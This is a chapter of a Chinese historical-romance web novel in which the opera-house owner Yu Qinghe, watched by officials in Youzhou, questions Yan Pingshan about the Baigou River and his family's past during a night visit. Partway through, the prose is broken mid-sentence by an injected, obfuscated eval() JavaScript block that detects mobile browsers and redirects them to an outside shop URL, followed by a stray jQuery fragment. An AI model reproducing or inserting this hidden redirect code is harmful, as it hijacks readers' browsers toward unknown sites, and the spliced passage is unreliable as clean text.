《夜守孤城》唱完后的第三天，听风楼外多了几双眼睛。
巡街兵经过锦市街的次数比从前密。楼外茶摊上总坐着几个不点戏的人，手里捧着茶碗，目光却常往后门扫。后台送水的小厮也换了生面孔，肩上挑着桶，脚步却不像做惯粗活的人。夜里打更声走到听风楼门前，常会多停半刻。
网还没落下来，线却已经收紧。
小茶这两日睡得浅，夜里风一吹窗便披衣起来。她没有再慌慌张张往虞清和屋里跑，先去后门看了门闩，又把戏箱底下的暗格摸了一遍，确认没有人动过，才端着灯进来。
“姑娘，外头那几个不是寻常看客。”她把灯放到案边，声音压得很低，“茶摊那个灰衣人，午后换过一次鞋，鞋底有官署后巷的黄泥。后台送水的小厮右手虎口有弓茧，担水时却故意换左肩。”
虞清和坐在灯下翻账册，指尖停在一页油墨未干的采买单上：“掌柜知道了吗？”
“知道。”小茶道，“我让掌柜把这几日送炭、送水、送菜的名单另抄了一份。城西药铺那边也停了，小十一今日没有过来。”
虞清和点头：“茶摊的消息也先压住。越有人盯着，越不能急着送出去。”
小茶应了，仍有些不安：“总兵府若真要动手，咱们挡不住。”
“真要动手，今夜不会这么安静。”虞清和合上账册。幽州要查一个人，不必非等账册上露出多大错。只要完颜宗衡想动她，听风楼从人到戏服，从菜油到炭灰，都能被拆开查三遍。眼下他们只盯着，说明刀还悬着，暂时没有落下来。
有人在刀落下之前按了一下。
她想起乌木赏盒里的断箭，也想起那张纸上的字：铜印别再露在人前。
小茶看她神色，没再追问，只把窗缝掩紧：“我今晚守外间。若有人从后巷进来，先敲三下窗框。”
虞清和看了她一眼：“别硬拦。”
“我又不傻。”小茶小声嘀咕了一句，转身出去时，顺手把灯芯挑低了些。
屋里暗下来。虞清和从暗格里取出那支断箭。箭身旧黑，铁头沉冷，箭尾那道几乎磨平的私记在灯下若隐若现。
燕平山送来的不只是一支箭。
燕家若只是叛臣，为什么会留着北伐军的旧箭？他若要害她，又何必提醒铜印？他从第一日认出她，却始终没有拆穿。这些疑处压在一起，把她原本坚硬的恨烤出一道细裂。
她宁愿事情简单些。燕家有罪，燕平山也有罪。她查清证据，替父亲和祖父讨回旧债。
可燕平山偏偏不肯简单。
夜里下起小雨。幽州的春雨仍带寒气，落在瓦檐上，湿冷一片。听风楼散了戏，前厅灯火一盏盏灭下去，只剩后台还亮着一盏孤灯。虞清和坐在桌前，手边放着断箭。
窗外有极细的响动。
虞清和没有抬头：“看够了吗？”
雨声里传来一声笑。下一刻，窗被人从外面推开，燕平山翻了进来，动作熟得像回自己屋里。他反手带上窗，雨水顺着袖口往下滴，肩上沾着潮气，手里却提着一只竹篓。
“虞老板如今耳朵越来越好了。”
“不是我耳朵好。”虞清和坐着没动，“是二公子翻窗翻得太熟。”
“正门太远。”燕平山说得理直气壮，把竹篓放在案上，“何况你外头今日站着的人多，我走正门，大家都难做。”
虞清和看向竹篓：“什么东西？”
燕平山掀开盖布。一股极淡的香气散出来，压过雨夜潮冷。
篓里是一把新鲜茉莉。花枝细白，叶色嫩绿，有几朵还带着水珠，像刚从温暖潮湿的南方院子里折下。幽州春寒未退，这样的花不该出现在北地雨夜。
虞清和怔了一瞬。
燕平山像没看见她的神色，慢慢把花枝取出来，放在桌上。他挑去折损的叶片，修去多余的枝梗，动作竟很熟。散漫人做细致事，反倒比旁人更惹眼。
虞清和看了片刻，视线落回断箭：“花从哪里来？”
“素香斋后院有花窖。”燕平山道，“掌柜养得娇气，日日用温水熏着。我顺路拿了一点。”
“顺路？”
“嗯。”他抬眼一笑，“从后墙翻进去，翻出来，再翻进你这里，都是路。”
虞清和没有接他的玩笑：“断箭是什么意思？”
燕平山手里的小刀停了停，很快又削去一截细枝：“没什么意思。”
“燕平山。”
“嗯？”
“你到底知道多少？”
雨声从窗外落进来。燕平山没有立刻答，只把修好的茉莉拢到一处。过了片刻，他道：“比你想得多一点。”
“那为什么不说？”
“说什么？”
“白沟河。”
这三个字落下，屋里静了。
燕平山抬头看她。灯火照在他脸上，那点惯常的笑意还在，却薄得像雨水一冲就会没。
虞清和问：“为什么不开城门？”
她声音不高，每个字却压得很稳：“我父亲死在白沟河。祖父一辈子没再回过燕山。虞家从临安到成都，像一支被折断的旧旗，挂在哪里都不再是原来的地方。燕平山，你告诉我，为什么不开门？”
燕平山低下眼，从花枝里挑出一朵开得最好的茉莉。花白得干净，被他捏在指间，显得很脆。
“因为没人敢提。”
虞清和眼神一冷：“什么意思？”
“白沟河之后，幽州所有知道那件事的人，都闭嘴了。”
“包括你？”
燕平山笑了一下：“我那年才六岁。”
虞清和一怔。
这句太实，也太轻，像一块冷石落进水里，没声响，却沉得很快。
燕平山靠回椅背，目光越过灯火：“我只记得那年雪大。府里天天死人，城外也死人。后来有人开始骂燕家，说燕家不开门，说燕家踩着北伐军的尸骨活下来。”
虞清和道：“难道不是？”
“我不知道。”
他说得平静。虞清和看着他，看出这一次他没有拿玩笑挡，也没有用醉话绕。他是真的不知道。
“你不知道，”她慢慢道，“那你凭什么送我断箭？”
“因为断箭是真的。”
“真在哪里？”
“真在燕家没有开门。”燕平山看着她，“也真在，那不是全部。”
虞清和手指收紧：“什么不是全部？”
燕平山没有立刻答。窗外雨声更密，屋里茉莉香浮在灯火里，越清淡，越叫人清醒。
“我父亲没告诉过我。”他道，“连我哥也未必知道全貌。”
“你还有哥哥？”
“有。”
“人呢？”
燕平山沉默片刻：“上京。”
虞清和心口微沉。她当然知道上京意味着什么。朔庭要稳住幽州旧族，总要有东西握在手里。兵权、家眷、爵位、前程，都可以是锁。长子入上京，说是入王庭受教，实则一生难归。
“他什么时候去的？”
“九岁。”
“你呢？”
“六岁。”
虞清和看着他，没说话。
燕平山把花枝放下，语气仍旧随意：“你是不是想问，为什么不是我去？”
她没有否认。
“因为我哥是长子，也比我像燕家的人。他那时已经能被拿来抵押。”燕平山垂着眼，“走的时候，我爹只说了一句话。燕家总得留一个人在幽州。”
雨声忽然重了。
虞清和一直以为燕平山是幽州最自由的人。可以进总兵府，可以出云司，可以翻窗进听风楼，可以在满城规矩里活得像一阵风。此刻她才看见，那阵风也被拴在城里，只是他从不肯把绳索亮给人看。
燕平山重新拿起花枝：“其实我小时候挺烦我哥。书念得比我好，骑马比我稳，连挨打都比我板正。”
虞清和没忍住：“还有人夸挨打？”
“你没见过我爹。”
虞清和无言。
他笑了一声，屋里的冷意被这一声搅开一点。可笑意很快散了，他低头继续修花：“后来他走了，燕家在幽州能拿出来的人，就只剩我。”
虞清和听出那话里的疲惫，像一个人在雪地里站得太久，久到已经懒得说冷。
她问：“你想过离开幽州吗？”
燕平山抬头看她。灯火落在他眼底，很久，他才道：“虞老板，你是不是对北地有什么误会？”
“什么误会？”
“这里的人，没有说走就走的命。”
这句话让虞清和心口一滞。
她这些年一直把幽州当作失地，一块被夺走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581891|205119||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
、该被收回的地方。可对真正活在这里的人来说，幽州不在地图的颜色里，也不在檄文那句归复旧疆里。他们生在这里，烧炭、煮粥、避雪、养孩子，最后也死在这里。
他们被困住，也扎根。
燕平山也是。
屋里静了很久。燕平山把最后一枝茉莉修好，指尖捻着花，忽然道：“低头。”
虞清和抬眼：“做什么？”
“簪花。”他语气像说一件再寻常不过的事，“花都拿来了，总不能让它在桌上冻死。”
虞清和本能想避开。可她看着那枝茉莉，又看了看桌上的断箭，最后没有动。
燕平山站起身，绕到她身侧。他身上的雨气、药味和一点酒气一并靠近，茉莉香反倒更清楚。虞清和垂眼看着断箭，没有抬头。燕平山把花簪进她发间，动作很稳，指尖在她耳侧停了一瞬便收回去，没有逾矩。
越是不逾矩，越让人难以判断。
虞清和慢慢抬眼：“你从什么时候知道的？”
“第一次见你。”
“因为铜印？”
“因为你看我的眼神。”燕平山低头看她，“先想杀我，后想套话。一般戏楼老板不会这么热情。”
虞清和冷笑：“二公子倒是很会自作多情。”
“这不是自作多情。”他道，“我见过这种眼神。”
“谁？”
燕平山停了一下：“很多人。很多恨燕家的人。”
这一句落下，屋里的香气都像冷了。
虞清和想退，燕平山却抬手，替她把那枝茉莉扶正：“别动，歪了。”
他的指尖很快离开。虞清和看着他，忽然问：“你今日来，只是为了送花？”
“还有一句话。”
“说。”
“最近别再唱那出戏。”
虞清和挑眉：“为什么？”
“有人想杀你。”
“总兵府？”
“老将，云司，都有。”燕平山看着她，“你那句寒河，唱进人骨头里了。”
虞清和道：“你呢？”
“什么？”
“你会不会也想杀我？”
屋里静了片刻。燕平山的笑意淡下去：“我若想杀你，你活不到今晚。”
虞清和忽然笑了。那笑有意放得柔和，像戏台上最会骗人的一折。她往前走了一步，发间茉莉一晃，香气从鬓边散开。
多数时候，是燕平山不讲规矩，是他翻窗、逼近、用半真半假的话扰乱场面。今夜换成她往前走。
她停在他面前，隔着半尺：“那你会护着我吗？”
燕平山没有答。
虞清和看着他的眼睛，声音放得更低：“我不是还有你吗？”
这话太轻，轻得像撩火，也像落钩。
燕平山看着她。那层惯常压着的冷静像被雨夜里的灯火烘了一下，露出一点裂痕。他没有退，也没有像从前那样拿混账话挡回去。
许久，他抬手，将她发间那枝快要滑落的茉莉扶稳。
动作仍旧克制，指节却比方才重些。
虞清和没有躲。她听见自己的心跳乱了一拍，又很快压住。她知道自己在试探，也知道这试探不干净。可燕平山若真的一直在护她，她必须知道这份护会到哪里停。
燕平山低声道：“虞老板。”
“嗯？”
“别拿这种话试我。”
他的声音落得很低，没有笑，也不像威胁。
虞清和抬眼：“试不得？”
“你再试下去，”燕平山看着她，“我未必还能装得像个正人君子。”
虞清和呼吸微停。
燕平山已经退开，伸手拿起桌上的断箭，放回乌木盒中，盖好。
“这支箭收好，也别给旁人看。”
他提起空竹篓，转身往窗边走。雨声从窗外打进来，他推窗之前又停了一下。
“还有。”
虞清和看着他：“什么？”
“你方才那句‘我不是还有你吗’。”燕平山没有回头，“以后少说。”
“为什么？”
他侧过脸，灯影照不清神情：“我会当真。”
说完，他翻窗没入雨夜。风雨涌进来，又很快被窗扇挡住。屋里只剩一盏灯，一盒断箭，和虞清和鬓边那一点不合时令的茉莉香。